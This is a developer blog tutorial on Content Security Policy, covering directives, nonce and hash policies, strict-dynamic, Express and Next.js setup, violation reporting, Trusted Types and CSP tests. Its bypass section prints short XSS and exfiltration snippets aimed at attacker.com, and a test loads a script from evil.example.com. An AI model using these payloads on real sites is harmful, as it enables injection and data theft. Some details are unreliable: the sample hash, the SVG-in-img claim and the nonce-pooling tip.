MinhVo

Minh Vo

rss feed

Slaying code & making it lit fr fr 🔥 tagline

Hey there 👋 I'm an AI Engineer with 7 years of experience building scalable web and mobile applications. Currently at Neurond AI (May 2025 — present), architecting an Enterprise AI Assistant Platform with multi-tenant RAG on pgvector, multi-provider LLM orchestration, and Azure-native infrastructure. Previously spent 5+ years at SNAPTEC (Sep 2019 — Apr 2025), leading SaaS themes, admin dashboards, and e-commerce platforms — earned the Hero of the Year award in 2021. I specialize in TypeScript, React, Next.js, and AI-Native engineering with Claude Code and Cursor.bio

Back to blogs

Web Security: Content Security Policy (CSP) in Depth

Implement CSP: directives, nonce-based policies, reporting, and common bypasses.

SecurityCSPWebHTTP Headers

By MinhVo

Introduction

Content Security Policy (CSP) is the most powerful browser-based defense against cross-site scripting (XSS), clickjacking, and data injection attacks. By declaring which sources of content are trusted, CSP creates a whitelist that prevents the browser from executing malicious inline scripts, loading unauthorized resources, or submitting data to unexpected endpoints. Despite being over a decade old, CSP remains underutilized—only 5% of websites deploy a meaningful policy, and even fewer deploy one that actually prevents XSS.

Modern CSP (Level 3) goes far beyond simple script-src directives. Nonce-based policies, strict-dynamic propagation, and reporting endpoints provide granular control over resource loading while maintaining compatibility with modern JavaScript frameworks. Understanding CSP's directive hierarchy, bypass vectors, and deployment strategies is essential for any security-conscious development team.

This guide covers every CSP directive, implementation patterns for React and Next.js, common bypass techniques attackers use, and production deployment strategies that minimize breakage while maximizing protection.

Content Security Policy concept

Understanding CSP: Core Concepts

CSP operates through HTTP response headers that instruct the browser on which resource origins to trust. When a browser receives a Content-Security-Policy header, it enforces the declared restrictions by blocking any resource loading or script execution that violates the policy. Violations can be reported to a server endpoint for monitoring and incident response.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; report-to csp-endpoint

The policy consists of directives, each controlling a specific resource type. The default-src directive serves as a fallback for any directive not explicitly declared. For example, default-src 'self' restricts all resource loading to the same origin unless a specific directive overrides it. If you declare img-src https://images.unsplash.com but don't declare font-src, the font-src directive falls back to default-src.

How the Browser Evaluates CSP

When a browser encounters a resource request (a script tag, an image, a fetch call), it evaluates the request against the CSP in this order:

  1. Check if the request matches a more specific directive (e.g., script-src for scripts)
  2. If no specific directive exists, fall back to default-src
  3. Evaluate the source list: check nonces, hashes, keywords, and origin patterns
  4. If the request matches any allowed source, permit it; otherwise, block it and fire a violation event

This evaluation happens synchronously for render-blocking resources (scripts, stylesheets) and asynchronously for non-blocking resources (images, fonts). Blocked resources trigger SecurityPolicyViolationEvent on the document, which you can listen to for debugging and reporting.

Complete Directive Reference

Fetch directives control where resources can be loaded from:

DirectiveControlsExample
script-srcJavaScript files and inline scripts'self' 'nonce-abc123'
style-srcCSS files and inline styles'self' 'unsafe-inline'
img-srcImages (img, picture, favicon)'self' data: https:
font-srcWeb fonts (@font-face)'self' https://fonts.gstatic.com
connect-srcXMLHttpRequest, fetch, WebSocket, EventSource'self' https://api.example.com
media-srcAudio and video elements'self' https://cdn.example.com
object-src<object>, <embed>, <applet>'none'
frame-src<iframe> sources'self' https://www.youtube.com
worker-srcWeb Workers, Service Workers'self'
child-srcDeprecated fallback for frame-src and worker-src—
manifest-srcWeb App Manifest files'self'
prefetch-srcPrefetched/prerendered resources'self'

Document directives control the document itself:

DirectiveControlsExample
base-uri<base> element href'self'
sandboxSandboxing flags for the pageallow-forms allow-scripts
form-actionForm submission targets'self'
frame-ancestorsWho can embed this page in an iframe'none'

Navigation directives control where the user can navigate:

DirectiveControlsExample
navigate-toNavigation targets (experimental)'self' https://example.com
form-actionForm submission endpoints'self' https://api.example.com

Special directives:

DirectiveControlsExample
upgrade-insecure-requestsAuto-upgrade HTTP to HTTPS(no value)
block-all-mixed-contentBlock mixed content(no value)
require-trusted-types-forRequire Trusted Types for DOM sinks'script'
trusted-typesAllowed Trusted Types policiessanitize default

Nonce-Based vs. Hash-Based Policies

Nonce-based policies use a randomly generated token per request, injected as an attribute on trusted inline scripts:

<script nonce="abc123def456">
  // This script will execute
  const app = new Application();
</script>
 
<script>
  // This script will be BLOCKED (no nonce)
  window.__injected = true;
</script>
Content-Security-Policy: script-src 'nonce-abc123def456' 'strict-dynamic'

The nonce must be:

  • Cryptographically random (at least 128 bits of entropy)
  • Unique per HTTP request (never reused)
  • Unpredictable (attackers must not be able to guess it)
  • Generated server-side and injected into both the CSP header and the HTML

Hash-based policies compute the SHA-256 digest of specific inline script content:

Content-Security-Policy: script-src 'sha256-BpfBw7ivZh82Ov7VQ9R9p07Fa2s3r5+V1kU5lV5lV5='

The hash is computed on the exact script content (including whitespace). Any modification to the script text invalidates the hash, making hash-based policies best suited for static inline scripts that don't change between deployments.

// Generate CSP hash for an inline script
const crypto = require('crypto');
 
function generateCSPHash(scriptContent) {
  const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
  return `'sha256-${hash}'`;
}
 
const script = 'console.log("hello")';
console.log(generateCSPHash(script));
// Output: 'sha256-BpfBw7ivZh82Ov7VQ9R9p07Fa2s3r5+V1kU5lV5lV5='

When to use which:

  • Use nonces for dynamic applications where script content changes per request (SSR frameworks, dynamic inline scripts)
  • Use hashes for static sites where inline scripts are fixed (landing pages, documentation sites)
  • Use both if you have a mix of static and dynamic inline scripts

Security architecture layers

The 'strict-dynamic' Keyword

'strict-dynamic' is the most important CSP Level 3 feature. When present, it tells the browser to trust scripts loaded by already-trusted scripts, regardless of origin. This eliminates the need to whitelist every CDN URL and third-party script:

Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'

With this policy:

  • âś… Inline scripts with the correct nonce execute
  • âś… Scripts loaded by trusted scripts execute (even from unlisted origins)
  • ❌ Scripts without a nonce that aren't loaded by a trusted script are blocked
  • ❌ 'unsafe-inline' is ignored when 'strict-dynamic' is present

This is critical because whitelisting specific script URLs (like https://cdn.example.com/script.js) is fragile. If the CDN is compromised or redirects to a malicious URL, CSP won't protect you. 'strict-dynamic' ensures only scripts that are programmatically loaded by already-trusted code can execute.

How strict-dynamic Propagation Works

When a script with a valid nonce creates a new <script> element and appends it to the DOM, the new script inherits trust from its creator. This is called "propagation" and it's what makes strict-dynamic so powerful:

// This works with strict-dynamic:
const script = document.createElement('script');
script.src = 'https://cdn.example.com/library.js';
document.body.appendChild(script);
// âś… Executes because the creating script had a valid nonce
 
// This also works:
const dynamicScript = document.createElement('script');
dynamicScript.textContent = 'console.log("dynamic")';
document.body.appendChild(dynamicScript);
// âś… Executes because the creating script had a valid nonce
 
// But this doesn't work:
// <script src="https://untrusted.com/malware.js"></script>
// ❌ Blocked because it wasn't created by a trusted script

Step-by-Step Implementation

Basic CSP Configuration in Express.js

import crypto from 'crypto';
import express from 'express';
 
const app = express();
 
// Generate cryptographically secure nonce per request
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  next();
});
 
// CSP middleware
app.use((req, res, next) => {
  const nonce = res.locals.nonce;
 
  const directives = [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'unsafe-inline' https://fonts.googleapis.com`,
    `img-src 'self' data: https://images.unsplash.com`,
    `font-src 'self' https://fonts.gstatic.com`,
    `connect-src 'self' https://api.yourdomain.com https://vitals.vercel-insights.com`,
    `frame-ancestors 'none'`,
    `base-uri 'self'`,
    `form-action 'self'`,
    `upgrade-insecure-requests`,
    `report-to csp-endpoint`,
  ].join('; ');
 
  res.setHeader('Content-Security-Policy', directives);
  res.setHeader('Reporting-Endpoints', 'csp-endpoint="https://report.example.com/csp"');
  next();
});

Next.js CSP Implementation with Middleware

// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self' 'nonce-INLINE_NONCE' 'strict-dynamic'",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' blob: data: https://*.unsplash.com",
      "font-src 'self'",
      "connect-src 'self' https://vitals.vercel-insights.com",
      "frame-ancestors 'none'",
      "base-uri 'self'",
      "form-action 'self'",
      "upgrade-insecure-requests",
    ].join('; '),
  },
];
 
module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};

Nonce Injection for React SSR

// middleware.ts — generate nonce per request
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';
 
export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const response = NextResponse.next();
 
  // Pass nonce to the page via header
  request.headers.set('x-nonce', nonce);
 
  // Set CSP header with nonce
  response.headers.set(
    'Content-Security-Policy',
    [
      `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
      `style-src 'self' 'unsafe-inline'`,
      `img-src 'self' data: https://images.unsplash.com`,
      `connect-src 'self' https://vitals.vercel-insights.com`,
      `base-uri 'self'`,
      `form-action 'self'`,
    ].join('; ')
  );
 
  return response;
}
 
// pages/_document.tsx — inject nonce into HTML
import { Html, Head, Main, NextScript } from 'next/document';
 
export default function Document({ nonce }: { nonce: string }) {
  return (
    <Html lang="en">
      <Head nonce={nonce} />
      <body>
        <Main />
        <NextScript nonce={nonce} />
      </body>
    </Html>
  );
}

CSP for Single-Page Applications (SPAs)

SPAs present unique challenges because they load scripts dynamically and often use inline styles for CSS-in-JS libraries:

// Vue.js CSP configuration
const cspConfig = {
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", `'nonce-${nonce}'`, "'strict-dynamic'"],
    styleSrc: ["'self'", "'unsafe-inline'"], // Required for most CSS-in-JS
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.example.com", "wss://ws.example.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],
    baseUri: ["'self'"],
    formAction: ["'self'"],
  },
};

CSP deployment flow

Common CSP Bypass Techniques

Understanding bypass techniques helps you write stronger policies. Attackers use these methods to circumvent CSP:

1. Whitelist Bypass via JSONP Endpoints

If you whitelist a domain that hosts a JSONP endpoint, attackers can execute arbitrary JavaScript:

Content-Security-Policy: script-src 'self' https://www.google.com
<!-- Attacker injects: -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert"></script>

Fix: Use 'strict-dynamic' with nonces instead of domain whitelisting.

2. Base URI Hijacking

If base-uri isn't restricted, attackers can set a <base> tag pointing to their server, causing relative URLs to load from the attacker's origin:

<base href="https://attacker.com/">
<script src="payload.js"></script> <!-- Loads from attacker.com -->

Fix: Always include base-uri 'self' or base-uri 'none'.

3. CSP Bypass via data: URIs in img-src

If img-src allows data: URIs, attackers can inject SVG images with embedded JavaScript:

<img src="data:image/svg+xml,<svg onload='alert(1)'>">

Fix: Avoid data: in img-src if possible, or use img-src 'self' without data:.

4. Path Confusion Bypass

Whitelisting paths (like https://cdn.example.com/scripts/) can be bypassed if the CDN allows redirects or serves user-uploaded content at that path.

Fix: Don't whitelist paths; use 'strict-dynamic' with nonces.

5. Prototype Pollution + CSP Bypass

If an attacker can pollute Object.prototype, they can sometimes trick CSP into allowing script execution through gadget chains.

Fix: Use 'strict-dynamic' and Trusted Types together.

6. Dangling Markup Injection

Attackers can inject partial HTML that captures subsequent content and sends it to an attacker-controlled endpoint:

<img src="https://attacker.com/?capture=

Everything after this tag until the next quote becomes part of the URL, potentially leaking CSRF tokens or sensitive data.

Fix: Use CSP's form-action directive to restrict form submissions and connect-src to restrict fetch/XHR targets.

CSP Reporting Infrastructure

CSP violation reports are essential for monitoring attacks and debugging policy issues. There are two reporting mechanisms:

Reporting Endpoints (Level 3)

Content-Security-Policy: report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://report.example.com/csp"

Legacy Report-URI (Deprecated)

Content-Security-Policy: report-uri https://report.example.com/csp

Setting Up a Reporting Endpoint

import express from 'express';
import { createWriteStream } from 'fs';
 
const app = express();
const reportStream = createWriteStream('csp-reports.jsonl', { flags: 'a' });
 
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'] || req.body;
 
  const enrichedReport = {
    timestamp: new Date().toISOString(),
    documentUri: report['document-uri'],
    violatedDirective: report['violated-directive'],
    blockedUri: report['blocked-uri'],
    sourceFile: report['source-file'],
    lineNumber: report['line-number'],
    columnNumber: report['column-number'],
    originalPolicy: report['original-policy'],
    userAgent: req.headers['user-agent'],
    ip: req.ip,
  };
 
  reportStream.write(JSON.stringify(enrichedReport) + '\n');
 
  if (isSuspiciousViolation(enrichedReport)) {
    alertSecurityTeam(enrichedReport);
  }
 
  res.status(204).end();
});
 
function isSuspiciousViolation(report: any): boolean {
  return report.violatedDirective?.includes('script-src');
}

Analyzing CSP Reports

Build dashboards and alerts from your CSP reports:

function analyzeReports(reports: CSPReport[]): AnalysisResult {
  const violations = reports.reduce((acc, report) => {
    const key = `${report.violatedDirective}:${report.blockedUri}`;
    acc[key] = (acc[key] || 0) + 1;
    return acc;
  }, {} as Record<string, number>);
 
  const topViolations = Object.entries(violations)
    .sort(([, a], [, b]) => b - a)
    .slice(0, 20);
 
  const falsePositives = topViolations.filter(([key]) =>
    key.includes('extension://') ||
    key.includes('about:') ||
    key.includes('data:')
  );
 
  const realViolations = topViolations.filter(([key]) =>
    !falsePositives.some(([fk]) => fk === key)
  );
 
  return { topViolations, falsePositives, realViolations };
}

Real-World Deployment Strategy

Phase 1: Report-Only Mode (Weeks 1-2)

Deploy CSP in Report-Only mode to collect violation data without breaking anything:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpoint

Analyze violation reports to identify legitimate resources that need whitelisting. Pay special attention to:

  • Browser extension violations (filter these out)
  • Third-party analytics and tracking scripts
  • CDN-hosted assets
  • Inline scripts from your framework

Phase 2: Enforce with Lenient Policy (Weeks 3-4)

Start enforcing but with 'unsafe-inline' for scripts (temporary):

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https:; style-src 'self' 'unsafe-inline'; report-to csp-endpoint

Phase 3: Migrate to Nonce-Based Policy (Weeks 5-6)

Add nonce generation and switch to strict-dynamic:

Content-Security-Policy: script-src 'self' 'nonce-abc123' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; report-to csp-endpoint

Phase 4: Harden and Monitor (Ongoing)

Remove unnecessary exceptions, add Trusted Types, and monitor for violations:

Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' 'strict-dynamic'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://images.unsplash.com; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; require-trusted-types-for 'script'; trusted-types sanitize default; report-to csp-endpoint

CSP with Trusted Types for DOM XSS Prevention

Trusted Types is a browser API that prevents DOM XSS by requiring type-safe wrappers for dangerous sinks like innerHTML, eval(), and script.src:

const policy = trustedTypes.createPolicy('sanitize', {
  createHTML: (input) => {
    return DOMPurify.sanitize(input);
  },
  createScriptURL: (input) => {
    const url = new URL(input, document.baseURI);
    if (url.origin !== location.origin) throw new Error('Blocked script URL');
    return url.toString();
  },
  createScript: (input) => {
    if (input.includes('eval')) throw new Error('eval blocked');
    return input;
  },
});
 
// Usage — these are now safe
element.innerHTML = policy.createHTML(userInput);
script.src = policy.createScriptURL(trustedUrl);

Enable Trusted Types in CSP:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types sanitize default; script-src 'nonce-abc123' 'strict-dynamic'

Trusted Types work by intercepting assignments to dangerous DOM sinks. Instead of allowing raw strings to be assigned to innerHTML or eval(), the browser requires values from a registered policy. This eliminates the entire class of DOM-based XSS vulnerabilities where attacker-controlled data reaches a script execution sink.

Testing and Validation

// Playwright test for CSP enforcement
import { test, expect } from '@playwright/test';
 
test('CSP header is present and strong', async ({ page }) => {
  const response = await page.goto('/');
  const csp = response?.headers()['content-security-policy'];
 
  expect(csp).toBeTruthy();
  expect(csp).toContain("script-src 'self'");
  expect(csp).not.toContain("'unsafe-eval'");
  expect(csp).toContain("'strict-dynamic'");
  expect(csp).toContain('report-to');
  expect(csp).toContain("base-uri 'self'");
});
 
test('inline scripts without nonce are blocked', async ({ page }) => {
  const violations: string[] = [];
 
  page.on('console', (msg) => {
    if (msg.text().includes('Content-Security-Policy')) {
      violations.push(msg.text());
    }
  });
 
  await page.evaluate(() => {
    const script = document.createElement('script');
    script.textContent = 'window.__injected = true;';
    document.body.appendChild(script);
  });
 
  await page.waitForTimeout(500);
  expect(violations.length).toBeGreaterThan(0);
  expect((page as any).__injected).toBeUndefined();
});
 
test('external scripts from untrusted origins are blocked', async ({ page }) => {
  const violations: string[] = [];
 
  page.on('console', (msg) => {
    if (msg.text().includes('Content-Security-Policy')) {
      violations.push(msg.text());
    }
  });
 
  await page.evaluate(() => {
    const script = document.createElement('script');
    script.src = 'https://evil.example.com/malware.js';
    document.body.appendChild(script);
  });
 
  await page.waitForTimeout(1000);
  expect(violations.length).toBeGreaterThan(0);
});

Automated CSP Testing in CI/CD

function auditCSP(policyString: string): AuditResult {
  const issues: string[] = [];
  const warnings: string[] = [];
 
  if (policyString.includes("'unsafe-inline'") && policyString.includes('script-src')) {
    issues.push("script-src contains 'unsafe-inline' — vulnerable to XSS");
  }
 
  if (policyString.includes("'unsafe-eval'")) {
    issues.push("Contains 'unsafe-eval' — allows eval() and similar");
  }
 
  if (policyString.includes('data:') && policyString.includes('script-src')) {
    issues.push("script-src allows data: URIs — potential XSS vector");
  }
 
  if (!policyString.includes('base-uri')) {
    warnings.push("Missing base-uri directive — vulnerable to base tag injection");
  }
 
  if (!policyString.includes('form-action')) {
    warnings.push("Missing form-action directive — forms can submit anywhere");
  }
 
  if (!policyString.includes('frame-ancestors')) {
    warnings.push("Missing frame-ancestors — page can be embedded in iframes");
  }
 
  if (!policyString.includes("'strict-dynamic'")) {
    warnings.push("Consider adding 'strict-dynamic' for better security");
  }
 
  return { issues, warnings, passed: issues.length === 0 };
}

Performance Considerations

CSP has minimal runtime overhead—the browser evaluates the policy once per resource load. However, nonce generation and header injection add latency to server-side rendering:

import { randomBytes } from 'crypto';
 
function getNonce(): string {
  return randomBytes(16).toString('base64');
}

CSP violations also have a performance impact. In Report-Only mode, violation reports are sent asynchronously and don't block rendering. In enforcement mode, blocked resources are simply not loaded, which can actually improve page load performance by preventing third-party scripts from slowing down your site.

Performance Tips

  • Cache nonces in memory: Generate a pool of nonces during server startup and distribute them round-robin
  • Use report-to instead of report-uri: The newer reporting API is more efficient and supports batching
  • Filter violation reports: Don't report violations from browser extensions or internal browser pages
  • Use Content-Security-Policy-Report-Only for testing: This has zero impact on page behavior while still collecting reports

Comparison with Other Security Headers

HeaderPurposeCSP Equivalent
X-Frame-OptionsPrevent clickjackingframe-ancestors 'none'
X-Content-Type-OptionsPrevent MIME sniffingNo CSP equivalent
Referrer-PolicyControl referrer informationNo CSP equivalent
Permissions-PolicyControl browser featuresNo CSP equivalent
Strict-Transport-SecurityForce HTTPSupgrade-insecure-requests

CSP works best alongside these headers. A complete security header configuration:

const securityHeaders = [
  { key: 'Content-Security-Policy', value: cspHeader },
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];

CSP Level 3 Features

CSP Level 3 introduced several important features beyond strict-dynamic:

unsafe-hashes for Inline Event Handlers

For inline event handlers that can't be removed immediately:

Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-abc123...'

This allows specific inline event handlers (like onclick) identified by their hash, without allowing all inline scripts.

Source Expressions with Paths

Content-Security-Policy: script-src https://cdn.example.com/scripts/

Note: Path-based restrictions are weak because CDNs can be compromised. Prefer strict-dynamic with nonces.

Conclusion

Content Security Policy is the browser's most powerful defense against XSS and injection attacks, but its effectiveness depends entirely on proper deployment. Start with Report-Only mode, migrate to nonce-based 'strict-dynamic' policies, build robust violation reporting infrastructure, and automate policy validation.

Key implementation checklist:

  1. Generate cryptographically secure nonces per request using crypto.randomBytes
  2. Use 'strict-dynamic' to avoid whitelist maintenance and bypass risks
  3. Deploy in Report-Only first for 2-4 weeks, analyzing violation reports
  4. Monitor violations continuously with alerting for anomalies
  5. Combine with Trusted Types for maximum DOM XSS protection
  6. Always include base-uri 'self' and form-action 'self'
  7. Never use 'unsafe-inline' for scripts—use nonces or hashes instead
  8. Automate CSP validation in CI/CD to prevent policy regression
  9. Build a violation reporting endpoint with analysis dashboards
  10. Train your team on CSP concepts—most developers don't understand the policy model